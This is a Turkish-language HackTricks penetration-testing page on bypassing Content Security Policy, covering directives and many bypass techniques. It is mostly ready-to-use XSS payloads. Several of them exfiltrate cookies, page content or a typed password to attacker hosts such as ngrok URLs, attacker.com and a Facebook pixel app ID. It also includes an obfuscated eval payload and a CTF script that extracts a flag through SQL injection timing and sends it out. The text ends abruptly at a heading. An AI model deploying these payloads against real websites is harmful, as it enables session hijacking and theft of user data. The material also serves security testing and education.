İçerik Güvenlik Politikası (CSP) Bypass

Reading time: 30 minutes

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking'i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

CSP nedir

Content Security Policy (CSP), esasen cross-site scripting (XSS) gibi saldırılara karşı koruma sağlamayı amaçlayan bir tarayıcı teknolojisi olarak bilinir. Tarayıcının güvenli bir şekilde yükleyebileceği kaynakların yollarını ve kaynak kaynaklarını belirleyip tanımlayarak çalışır. Bu kaynaklar resimler, frame'ler ve JavaScript gibi çeşitli öğeleri kapsar. Örneğin, bir politika aynı alan adından (self) kaynakların yüklenmesine ve çalıştırılmasına, inline kaynaklara ve eval, setTimeout veya setInterval gibi fonksiyonlar aracılığıyla string kodun yürütülmesine izin verebilir.

CSP, response headers aracılığıyla veya HTML sayfasına meta öğeleri ekleyerek uygulanır. Tarayıcılar bu politikayı proaktif olarak uygular ve tespit edilen ihlalleri anında engeller.

  • Yanıt başlığı (response header) aracılığıyla uygulanır:
Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';
  • meta tag ile uygulanır:
xml
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">

Başlıklar

CSP bu başlıklar kullanılarak zorlanabilir veya izlenebilir:

  • Content-Security-Policy: CSP'yi uygular; tarayıcı herhangi bir ihlali engeller.
  • Content-Security-Policy-Report-Only: İzleme için kullanılır; ihlalleri bildirir ancak engellemez. Üretim öncesi ortamlarda test için idealdir.

Kaynakların Tanımlanması

CSP, aktif ve pasif içeriğin yüklenmesi için origin'leri kısıtlar; satır içi JavaScript yürütülmesi ve eval() kullanımı gibi yönleri kontrol eder. Örnek bir politika:

bash
default-src 'none';
img-src 'self';
script-src 'self' https://code.jquery.com;
style-src 'self';
report-uri /cspreport
font-src 'self' https://addons.cdn.mozilla.net;
frame-src 'self' https://ic.paypal.com https://paypal.com;
media-src https://videos.cdn.mozilla.net;
object-src 'none';

Direktifler

  • script-src: JavaScript için belirli kaynaklara izin verir; bunlar URL'ler, satır içi script'ler ve olay işleyicileri veya XSLT stil sayfaları tarafından tetiklenen script'leri içerir.
  • default-src: Belirli fetch direktifleri yoksa kaynakların getirilmesi için varsayılan politikayı belirler.
  • child-src: Web worker'lar ve gömülü frame içerikleri için izin verilen kaynakları belirtir.
  • connect-src: fetch, WebSocket, XMLHttpRequest gibi arayüzlerle yüklenebilecek URL'leri kısıtlar.
  • frame-src: Frame'ler için URL'leri kısıtlar.
  • frame-ancestors: Mevcut sayfayı gömebilecek kaynakları belirtir; <frame>, <iframe>, <object>, <embed>, ve <applet> gibi elementlere uygulanır.
  • img-src: Görseller için izin verilen kaynakları tanımlar.
  • font-src: @font-face ile yüklenen fontlar için geçerli kaynakları belirler.
  • manifest-src: Uygulama manifest dosyalarının izin verilen kaynaklarını tanımlar.
  • media-src: Medya nesnelerinin yüklenebileceği izin verilen kaynakları tanımlar.
  • object-src: <object>, <embed>, ve <applet> elementleri için izin verilen kaynakları tanımlar.
  • base-uri: <base> elementleriyle yükleme yapılabilecek izin verilen URL'leri belirtir.
  • form-action: Form gönderimleri için geçerli uç noktaları listeler.
  • plugin-types: Bir sayfanın çağırabileceği mime türlerini kısıtlar.
  • upgrade-insecure-requests: Tarayıcılara HTTP URL'lerini HTTPS'e yeniden yazmalarını talimat verir.
  • sandbox: <iframe>'in sandbox özniteliğine benzer kısıtlamalar uygular.
  • report-to: Politika ihlal edilirse raporun gönderileceği bir grup belirtir.
  • worker-src: Worker, SharedWorker veya ServiceWorker script'leri için geçerli kaynakları belirtir.
  • prefetch-src: Alınacak veya önceden alınacak kaynaklar için geçerli kaynakları belirtir.
  • navigate-to: Bir belgenin herhangi bir yolla (a, form, window.location, window.open, vb.) gidebileceği URL'leri kısıtlar.

Kaynaklar

  • *: data:, blob:, filesystem: şemalarına sahip olanlar hariç tüm URL'lere izin verir.
  • 'self': Aynı alan adından yüklemeye izin verir.
  • 'data': Kaynakların data şemasıyla yüklenmesine izin verir (örn. Base64 kodlu görüntüler).
  • 'none': Herhangi bir kaynaktan yüklemeyi engeller.
  • 'unsafe-eval': eval() ve benzeri yöntemlerin kullanımına izin verir; güvenlik nedeniyle önerilmez.
  • 'unsafe-hashes': Belirli satır içi olay işleyicilerini etkinleştirir.
  • 'unsafe-inline': Satır içi <script> veya <style> gibi satır içi kaynakların kullanımına izin verir; güvenlik nedeniyle önerilmez.
  • 'nonce': Kriptografik bir nonce (bir defa kullanılan sayı) kullanan belirli satır içi script'ler için beyaz listedir.
  • Eğer JS sınırlı yürütme varsa, sayfa içindeki kullanılmış bir nonce'u doc.defaultView.top.document.querySelector("[nonce]") ile almak ve ardından kötü amaçlı bir script yüklemek için yeniden kullanmak mümkündür (eğer strict-dynamic kullanılmışsa, herhangi bir izin verilen kaynak yeni kaynaklar yükleyebildiği için bu gerekmez), şu örnekte olduğu gibi:
Nonce'i yeniden kullanarak script yükle
html
<!-- From https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/ -->
<img
src="x"
ng-on-error='
doc=$event.target.ownerDocument;
a=doc.defaultView.top.document.querySelector("[nonce]");
b=doc.createElement("script");
b.src="//example.com/evil.js";
b.nonce=a.nonce; doc.body.appendChild(b)' />
  • 'sha256-<hash>': Belirli bir sha256 hash'ine sahip script'leri beyaz listeye alır.
  • 'strict-dynamic': Bir nonce veya hash ile beyaz listeye alınmışsa scriptlerin herhangi bir kaynaktan yüklenmesine izin verir.
  • 'host': Belirli bir host belirtir, örn. example.com.
  • https:: URL'leri yalnızca HTTPS kullananlarla sınırlar.
  • blob:: Kaynakların Blob URL'lerinden yüklenmesine izin verir (ör. JavaScript ile oluşturulan Blob URL'leri).
  • filesystem:: Kaynakların filesystem üzerinden yüklenmesine izin verir.
  • 'report-sample': İhlal raporuna ihlale neden olan koddan bir örnek ekler (hata ayıklama için faydalı).
  • 'strict-origin': 'self' ile benzer, ancak kaynakların protokol güvenlik seviyesinin belgeyle eşleşmesini sağlar (sadece güvenli origin'ler güvenli origin'lerden kaynak yükleyebilir).
  • 'strict-origin-when-cross-origin': Aynı-origin isteklerinde tam URL'leri gönderir; cross-origin isteklerde ise sadece origin'i gönderir.
  • 'unsafe-allow-redirects': Hemen başka bir kaynağa yönlendirecek kaynakların yüklenmesine izin verir. Güvenliği zayıflattığı için önerilmez.

Güvensiz CSP Kuralları

'unsafe-inline'

yaml
Content-Security-Policy: script-src https://google.com 'unsafe-inline';

Çalışan payload: "/><script>alert(1);</script>

self + 'unsafe-inline' ile Iframes

CSP bypass: self + 'unsafe-inline' with Iframes

'unsafe-eval'

caution

Bu çalışmıyor, daha fazla bilgi için check this.

yaml
Content-Security-Policy: script-src https://google.com 'unsafe-eval';

Çalışan payload:

html
<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>

strict-dynamic

Eğer bir şekilde izinli bir JS kodunun DOM'da sizin JS kodunuzu içeren yeni bir script etiketi oluşturmasını sağlayabilirseniz — çünkü izinli bir script onu oluşturuyor — bu yeni script etiketinin çalıştırılmasına izin verilecektir.

Wildcard (*)

yaml
Content-Security-Policy: script-src 'self' https://google.com https: data *;

Çalışan payload:

html
"/>'><script src=https://attacker-website.com/evil.js></script>
"/>'><script src=data:text/javascript,alert(1337)></script>

object-src ve default-src eksikliği

[!CAUTION] > Görünüşe göre bu artık çalışmıyor

yaml
Content-Security-Policy: script-src 'self' ;

Çalışan payloads:

html
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
<param name="AllowScriptAccess" value="always"></object>

File Upload + 'self'

yaml
Content-Security-Policy: script-src 'self';  object-src 'none' ;

Bir JS dosyası yükleyebiliyorsanız bu CSP'yi atlayabilirsiniz:

Working payload:

html
"/>'><script src="/uploads/picture.png.js"></script>

Bununla birlikte, sunucunun yüklenen dosyayı doğrulaması ve yalnızca belirli türde dosyaların yüklenmesine izin vermesi büyük olasılıktır.

Ayrıca, sunucunun kabul ettiği bir uzantıyı kullanarak bir dosya içine JS code inside yükleyebilseniz bile (ör. script.png) bu yeterli olmayabilir; çünkü Apache gibi bazı sunucular dosyanın MIME type'ını uzantıya göre seçer ve Chrome gibi tarayıcılar bir resim olması gereken şeyin içindeki Javascript kodunu çalıştırmayı reddeder. "Neyse ki", hatalar var. Örneğin bir CTF'te öğrendim ki Apache .wave uzantısını bilmiyor; bu yüzden onu MIME type like audio/* ile servis etmiyor.

Buradan hareketle, eğer bir XSS ve bir dosya yükleme bulursanız ve misinterpreted extension bulmayı başarırsanız, o uzantıyla ve scriptin içeriğiyle bir dosya yüklemeyi deneyebilirsiniz. Veya sunucu yüklenen dosyanın doğru formatını kontrol ediyorsa, bir polyglot oluşturun (some polyglot examples here).

Form-action

Eğer JS enjekte etmek mümkün değilse, örneğin kimlik bilgilerini yine de dışarı sızdırmayı deneyebilirsiniz; injecting a form action (ve belki password manager'ların otomatik doldurmasını bekleyerek). Bir örnek bu raporda bulunabilir. Ayrıca, default-src'un form action'larını kapsamadığını unutmayın.

Third Party Endpoints + ('unsafe-eval')

warning

Bazı payload'lar için unsafe-eval bile gerekli değil.

yaml
Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';

Zafiyeti olan bir angular sürümünü yükleyin ve keyfi JS çalıştırın:

xml
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
<div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div>


"><script src="https://cdnjs.cloudflare.com/angular.min.js"></script> <div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>


"><script src="https://cdnjs.cloudflare.com/angularjs/1.1.3/angular.min.js"> </script>
<div ng-app ng-csp id=p ng-click=$event.view.alert(1337)>


With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-author-writeup/
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js></script>
<iframe/ng-app/ng-csp/srcdoc="
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.0/angular.js>
</script>
<img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
>

Payloads using Angular + fonksiyonları window nesnesini döndüren bir kütüphane ile (check out this post):

tip

Yazı, cdn.cloudflare.com (veya izin verilen başka bir JS kütüphaneleri deposundan) tüm kütüphaneleri yükleyebileceğinizi, her kütüphaneden eklenen tüm fonksiyonları çalıştırıp hangi kütüphanelerden hangi fonksiyonların window nesnesini döndürdüğünü kontrol edebileceğinizi gösteriyor.

html
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
<div ng-app ng-csp>
{{$on.curry.call().alert(1)}}
{{[].empty.call().alert([].empty.call().document.domain)}}
{{ x = $on.curry.call().eval("fetch('http://localhost/index.php').then(d => {})") }}
</div>


<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{$on.curry.call().alert('xss')}}
</div>


<script src="https://cdnjs.cloudflare.com/ajax/libs/mootools/1.6.0/mootools-core.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{[].erase.call().alert('xss')}}
</div>

Angular XSS class isminden:

html
<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>

google recaptcha JS kodunu kötüye kullanma

Şuna göre this CTF writeup https://www.google.com/recaptcha/ bir CSP içinde kötüye kullanılarak CSP'yi atlayıp rastgele JS kodu çalıştırılabilir:

html
<div
ng-controller="CarouselController as c"
ng-init="c.init()"
>
&#91[c.element.ownerDocument.defaultView.parent.location="http://google.com?"+c.element.ownerDocument.cookie]]
<div carousel><div slides></div></div>

<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>

Daha fazla payloads from this writeup:

html
<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>

<!-- Trigger alert -->
<img src="x" ng-on-error="$event.target.ownerDocument.defaultView.alert(1)" />

<!-- Reuse nonce -->
<img
src="x"
ng-on-error='
doc=$event.target.ownerDocument;
a=doc.defaultView.top.document.querySelector("[nonce]");
b=doc.createElement("script");
b.src="//example.com/evil.js";
b.nonce=a.nonce; doc.body.appendChild(b)' />

www.google.com üzerinden open redirect istismarı

Aşağıdaki URL example.com'a yönlendiriyor (buradan here):

https://www.google.com/amp/s/example.com/

İstismar *.google.com/script.google.com

Google Apps Script'i istismar ederek script.google.com içindeki bir sayfada bilgi almak mümkündür. Bu, bu raporda yapıldığı gibi.

Üçüncü Taraf Uç Noktaları + JSONP

http
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';

Bu gibi senaryolar, script-src self olarak ayarlanmış ve belirli bir domain beyaz listeye alınmışsa JSONP kullanılarak aşılabilir. JSONP endpoint'leri güvenli olmayan callback yöntemlerine izin verir; bu da bir saldırganın XSS gerçekleştirmesine olanak tanır. Çalışan payload:

html
"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
html
https://www.youtube.com/oembed?callback=alert;
<script src="https://www.youtube.com/oembed?url=http://www.youtube.com/watch?v=bDOYN-6gdRE&format=json&callback=fetch(`/profile`).then(function f1(r){return r.text()}).then(function f2(txt){location.href=`https://b520-49-245-33-142.ngrok.io?`+btoa(txt)})"></script>
html
<script type="text/javascript" crossorigin="anonymous" src="https://accounts.google.com/o/oauth2/revoke?callback=eval(atob(%27KGZ1bmN0aW9uKCl7CiBsZXQgdnIgPSAoKT0%2Be3dpdGgobmV3IHRvcFsnVydbJ2NvbmNhdCddKCdlYicsJ1MnLCdjZycmJidvY2snfHwncGsnLCdldCcpXSgndydbJ2NvbmNhdCddKCdzcycsJzpkZWZkZWYnLCdsaScsJ3ZlY2hhdGknLCduYycsJy4nfHwnOycsJ25ldHdvcmtkZWZjaGF0cGlwZWRlZjAyOWRlZicpWydzcGxpdCddKCdkZWYnKVsnam9pbiddKCIvIikpKShvbm1lc3NhZ2U9KGUpPT5uZXcgRnVuY3Rpb24oYXRvYihlWydkYXRhJ10pKS5jYWxsKGVbJ3RhcmdldCddKSl9O25hdmlnYXRvclsnd2ViZHJpdmVyJ118fChsb2NhdGlvblsnaHJlZiddWydtYXRjaCddKCdjaGVja291dCcpJiZ2cigpKTsKfSkoKQ%3D%3D%27));"></script>

JSONBee farklı web sitelerinin CSP bypass'ı için kullanıma hazır JSONP endpoint'leri içerir.

Aynı zafiyet, güvenilen endpoint Open Redirect içeriyorsa da ortaya çıkar; çünkü başlangıçta güvenilen endpoint güvenilir kabul ediliyorsa, yönlendirmeler de güvenilir sayılır.

Üçüncü Taraf Kötüye Kullanımları

Belirtildiği gibi following post, CSP içinde bir yerde izin verilmiş olabilecek ve veriyi exfiltrate etmek veya JavaScript kodu execute etmek için kötüye kullanılabilecek birçok üçüncü taraf domaini vardır. Bu üçüncü taraflardan bazıları şunlardır:

Varlıkİzin Verilen DomainYetkinlikler
Facebookwww.facebook.com, *.facebook.comExfil
Hotjar*.hotjar.com, ask.hotjar.ioExfil
Jsdelivr*.jsdelivr.com, cdn.jsdelivr.netExec
Amazon CloudFront*.cloudfront.netExfil, Exec
Amazon AWS*.amazonaws.comExfil, Exec
Azure Websites*.azurewebsites.net, *.azurestaticapps.netExfil, Exec
Salesforce Heroku*.herokuapp.comExfil, Exec
Google Firebase*.firebaseapp.comExfil, Exec

Hedefinizin CSP'sinde izin verilen domainlerden herhangi birini bulursanız, üçüncü taraf servise kayıt olup CSP'yi bypass ederek veriyi o servise exfiltrate edebilir veya code execute edebilirsiniz.

Örneğin, aşağıdaki CSP'yi bulursanız:

Content-Security-Policy​: default-src 'self’ www.facebook.com;​

veya

Content-Security-Policy​: connect-src www.facebook.com;​

Veriyi exfiltrate edebilmelisiniz, tıpkı Google Analytics/Google Tag Manager ile her zaman yapıldığı gibi. Bu durumda genel olarak şu adımları izlersiniz:

  1. Burada bir Facebook Developer hesabı oluşturun.
  2. Yeni bir "Facebook Login" uygulaması oluşturun ve "Website" seçin.
  3. "Settings -> Basic"e gidin ve "App ID"nizi alın.
  4. Veri exfiltrate etmek istediğiniz hedef sitede, veriyi Facebook SDK gadget'ı "fbq"yi doğrudan bir "customEvent" ve data payload aracılığıyla kullanarak exfiltrate edebilirsiniz.
  5. Uygulamanızın "Event Manager"ına gidin ve oluşturduğunuz uygulamayı seçin (not: event manager şu URL'de bulunabilir: https://www.facebook.com/events_manager2/list/pixel/[app-id]/test_events).
  6. "Test Events" sekmesini seçin, böylece web siteniz tarafından gönderilen event'leri görebilirsiniz.

Ardından, kurban tarafında, saldırganın Facebook developer hesap app-id'sini işaret edecek şekilde Facebook tracking pixel'i initialize etmek ve aşağıdaki gibi bir custom event tetiklemek için aşağıdaki kodu çalıştırırsınız:

JavaScript
fbq('init', '1279785999289471');​ // this number should be the App ID of the attacker's Meta/Facebook account
fbq('trackCustom', 'My-Custom-Event',{​
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"​
});

Önceki tabloda belirtilen diğer yedi üçüncü taraf alan adı için bunları kötüye kullanmanın birçok başka yolu vardır. Diğer üçüncü taraf kötüye kullanımlarıyla ilgili ek açıklamalar için önceki blog post bağlantısına bakın.

Bypass via RPO (Relative Path Overwrite)

Yol kısıtlamalarını aşmak için önce bahsedilen yönlendirmeye ek olarak, bazı sunucularda kullanılabilecek Relative Path Overwrite (RPO) adlı başka bir teknik vardır.

Örneğin, CSP https://example.com/scripts/react/ yoluna izin veriyorsa, şu şekilde atlatılabilir:

html
<script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>

Tarayıcı en sonunda https://example.com/scripts/angular/angular.js dosyasını yükleyecektir.

Bu, tarayıcı için https://example.com/scripts/react/ altında bulunan ..%2fangular%2fangular.js adlı bir dosya yüklüyor olmanızdan dolayı çalışır; bu CSP ile uyumludur.

Sonuç olarak, tarayıcılar bunu decode edecekler ve fiilen https://example.com/scripts/react/../angular/angular.js isteğinde bulunacaklar; bu da https://example.com/scripts/angular/angular.js ile eşdeğerdir.

Tarayıcı ile sunucu arasındaki URL yorumlama tutarsızlığını kötüye kullanarak, yol kuralları atlatılabilir.

Çözüm, bu sorunu önlemek için sunucu tarafında %2f'yi / olarak işlememek; böylece tarayıcı ile sunucu arasında yorumlamanın tutarlı olması sağlanır.

Online Example: https://jsbin.com/werevijewa/edit?html,output

Iframe'larda JS yürütme

Iframes in XSS, CSP and SOP

Eksik base-uri

Eğer base-uri yönergesi eksikse, bunu dangling markup injection gerçekleştirmek için kötüye kullanabilirsiniz.

Dahası, eğer sayfa göreceli bir yol kullanarak bir script yüklüyorsa (ör. <script src="/js/app.js">) ve Nonce kullanıyorsa, base tag'i kötüye kullanarak script'in kendi sunucunuzdan yüklenmesini sağlayabilir ve böylece XSS elde edebilirsiniz.
Eğer zafiyetli sayfa httpS ile yükleniyorsa, base içinde bir httpS URL kullanın.

html
<base href="https://www.attacker.com/" />

AngularJS etkinlikleri

Content Security Policy (CSP) olarak bilinen belirli bir politika JavaScript etkinliklerini kısıtlayabilir. Bununla birlikte, AngularJS alternatif olarak custom events sunar. Bir event içinde, AngularJS native tarayıcı event nesnesine referans veren $event adlı özel bir nesne sağlar. Bu $event nesnesi CSP'yi atlatmak için istismar edilebilir. Özellikle Chrome'da, $event/event nesnesinin, event'in yürütülme zincirinde yer alan nesneler dizisini tutan path adlı bir özelliği vardır; bu dizinin son elemanında her zaman window nesnesi bulunur. Bu yapı, sandbox escape taktikleri için kritik öneme sahiptir.

Bu diziyi orderBy filtresine yönlendirerek üzerinde iterasyon yapmak ve son eleman (window nesnesi) kullanarak alert() gibi global bir fonksiyonu tetiklemek mümkün olur. Aşağıdaki örnek kod parçası bu süreci açıklıyor:

xml
<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x

Bu snippet, olayı tetiklemek için ng-focus direktifinin kullanımını gösterir; path dizisini manipüle etmek için $event.path|orderBy kullanır ve alert() fonksiyonunu çalıştırmak için window objesinden yararlanarak document.cookie'yi açığa çıkarır.

Diğer Angular bypass'larını https://portswigger.net/web-security/cross-site-scripting/cheat-sheet

AngularJS and whitelisted domain

Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;

Bir Angular JS uygulamasında script yükleme için alan adlarını beyaz listeleyen bir CSP politikası, callback functions çağrımı ve belirli vulnerable classes kullanılarak atlatılabilir. Bu teknikle ilgili daha fazla bilgi, bu git repository üzerinde bulunan ayrıntılı bir kılavuzda mevcuttur.

Working payloads:

html
<script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>
ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>

<!-- no longer working -->
<script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)">

Diğer JSONP arbitrary execution endpoints here adresinde bulunabilir (bazıları silinmiş veya düzeltilmiş)

Bypass via Redirection

CSP sunucu tarafı yönlendirmesiyle karşılaştığında ne olur? Eğer yönlendirme izin verilmeyen farklı bir origin'e yol açıyorsa, yine başarısız olur.

Ancak, CSP spec 4.2.2.3. Paths and Redirects bölümündeki açıklamaya göre, yönlendirme farklı bir path'e giderse orijinal kısıtlamaları bypass edebilir.

İşte bir örnek:

html
<!DOCTYPE html>
<html>
<head>
<meta
http-equiv="Content-Security-Policy"
content="script-src http://localhost:5555 https://www.google.com/a/b/c/d" />
</head>
<body>
<div id="userContent">
<script src="https://https://www.google.com/test"></script>
<script src="https://https://www.google.com/a/test"></script>
<script src="http://localhost:5555/301"></script>
</div>
</body>
</html>

If CSP is set to https://www.google.com/a/b/c/d, since the path is considered, both /test and /a/test scripts will be blocked by CSP.

However, the final http://localhost:5555/301 will be redirected on the server-side to https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//. Since it is a redirection, the path is not considered, and the script can be loaded, thus bypassing the path restriction.

With this redirection, even if the path is specified completely, it will still be bypassed.

Therefore, the best solution is to ensure that the website does not have any open redirect vulnerabilities and that there are no domains that can be exploited in the CSP rules.

Bypass CSP with dangling markup

Read how here.

'unsafe-inline'; img-src *; via XSS

default-src 'self' 'unsafe-inline'; img-src *;

'unsafe-inline' ifadesi kod içinde herhangi bir script'in çalıştırılmasına izin verir (XSS kod çalıştırabilir) ve img-src * ifadesi sayfada herhangi bir kaynaktan gelen herhangi bir resmi kullanabileceğiniz anlamına gelir.

Bu CSP'yi verileri resimler aracılığıyla sızdırarak atlatabilirsiniz (bu durumda XSS, bot'un erişebildiği bir sayfanın bir SQLi içerdiği bir CSRF'yi kötüye kullanır ve flag'i bir resim aracılığıyla çıkarır):

javascript
<script>
fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new
Image().src='http://PLAYER_SERVER/?'+_)
</script>

From: https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle

Bu yapılandırmayı ayrıca bir görüntünün içine yerleştirilmiş javascript kodunu yüklemek için kötüye kullanabilirsiniz. Örneğin, sayfa Twitter'dan resim yüklemeye izin veriyorsa. Oluşturabileceğiniz bir özel görüntüyü, Twitter'a yükleyip ve "unsafe-inline"ı kötüye kullanarak (normal bir XSS gibi) bir JS kodunu çalıştırabilirsiniz; bu kod görüntüyü yükleyecek, içinden JS'i çıkaracak ve çalıştıracaktır: https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/

Service Workers ile

Service workers importScripts fonksiyonu CSP ile sınırlı değildir:

Abusing Service Workers

Policy Injection

Araştırma: https://portswigger.net/research/bypassing-csp-with-policy-injection

Chrome

Eğer sizin gönderdiğiniz bir parametre politikanın tanımının içine yapıştırılıyorsa, politikayı işe yaramaz hâle getirecek şekilde değiştirebilirsiniz. Aşağıdaki yöntemlerle script 'unsafe-inline'ı izin verebilirsiniz:

bash
script-src-elem *; script-src-attr *
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'

Çünkü bu direktif mevcut script-src direktiflerini geçersiz kılacaktır.
Aşağıda bir örnek bulabilirsiniz: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E

Edge

Edge'te durum çok daha basit. CSP'ye sadece şunu ekleyebilirseniz: ;_ Edge tüm politika'yı iptal edecektir.
Örnek: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E

img-src *; via XSS (iframe) - Time attack

Direktif 'unsafe-inline''ın eksikliğine dikkat edin.
Bu sefer, XSS ile bir <iframe aracılığıyla hedefin sizin kontrolünüzdeki bir sayfayı yüklemesini sağlayabilirsiniz. Bu sefer hedefin, bilgi çıkarmak istediğiniz sayfaya erişmesini sağlayacaksınız (CSRF). Sayfanın içeriğine erişemezsiniz, ancak eğer bir şekilde sayfanın yüklenme süresini kontrol edebilirseniz, ihtiyacınız olan bilgiyi çıkarabilirsiniz.

Bu sefer bir flag çıkarılacak; SQLi ile bir karakter doğru tahmin edildiğinde, sleep fonksiyonu nedeniyle response daha fazla zaman alır. Böylece flag'i çıkarabileceksiniz:

html
<!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
<iframe name="f" id="g"></iframe> // The bot will load an URL with the payload
<script>
let host = "http://x-oracle-v1.nn9ed.ka0labs.org"
function gen(x) {
x = escape(x.replace(/_/g, "\\_"))
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag%20like%20'${x}%25'and%201=sleep(0.1)%23`
}

function gen2(x) {
x = escape(x)
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag='${x}'and%201=sleep(0.1)%23`
}

async function query(word, end = false) {
let h = performance.now()
f.location = end ? gen2(word) : gen(word)
await new Promise((r) => {
g.onload = r
})
let diff = performance.now() - h
return diff > 300
}

let alphabet = "_abcdefghijklmnopqrstuvwxyz0123456789".split("")
let postfix = "}"

async function run() {
let prefix = "nn9ed{"
while (true) {
let i = 0
for (i; i < alphabet.length; i++) {
let c = alphabet[i]
let t = await query(prefix + c) // Check what chars returns TRUE or FALSE
console.log(prefix, c, t)
if (t) {
console.log("FOUND!")
prefix += c
break
}
}
if (i == alphabet.length) {
console.log("missing chars")
break
}
let t = await query(prefix + "}", true)
if (t) {
prefix += "}"
break
}
}
new Image().src = "http://PLAYER_SERVER/?" + prefix //Exfiltrate the flag
console.log(prefix)
}

run()
</script>

Bookmarklets ile

Bu saldırı, saldırganın kullanıcıyı tarayıcıdaki bookmarklet üzerine bir linki drag&drop yapmaya ikna etmesi şeklinde bir social engineering senaryosunu gerektirir. Bu bookmarklet, drag&dropped veya tıklandığında mevcut web penceresinin bağlamında çalıştırılacak malicious javascript kodu içerir; bu, CSP'i bypass ederek cookies veya tokens gibi hassas bilgileri çalmaya olanak tanır.

Daha fazla bilgi için orijinal raporu burada inceleyin.

CSP'yi kısıtlayarak bypass

In this CTF writeup, CSP, izin verilen bir iframe içine daha kısıtlayıcı bir CSP enjekte edilerek bypass edilmiştir; bu CSP belirli bir JS dosyasının yüklenmesini engelliyor ve daha sonra, prototype pollution veya dom clobbering yoluyla, farklı bir script'i suistimal ederek keyfî bir script yüklenmesine izin veriyordu.

Bir Iframe'in CSP'sini kısıtlayabilirsiniz csp attribute ile:

html
<iframe
src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]"
csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>

Bu this CTF writeup içinde, HTML injection ile CSP daha fazla restrict edilerek CSTI'yi önleyen bir script devre dışı bırakılabildi ve bu nedenle vulnerability became exploitable.
CSP, HTML meta tags kullanılarak daha kısıtlayıcı hale getirilebilir ve inline scripts, removing the entry allowing their nonce and enable specific inline script via sha:

html
<meta
http-equiv="Content-Security-Policy"
content="script-src 'self'
'unsafe-eval' 'strict-dynamic'
'sha256-whKF34SmFOTPK4jfYDy03Ea8zOwJvqmz%2boz%2bCtD7RE4='
'sha256-Tz/iYFTnNe0de6izIdG%2bo6Xitl18uZfQWapSbxHE6Ic=';" />

JS exfiltration with Content-Security-Policy-Report-Only

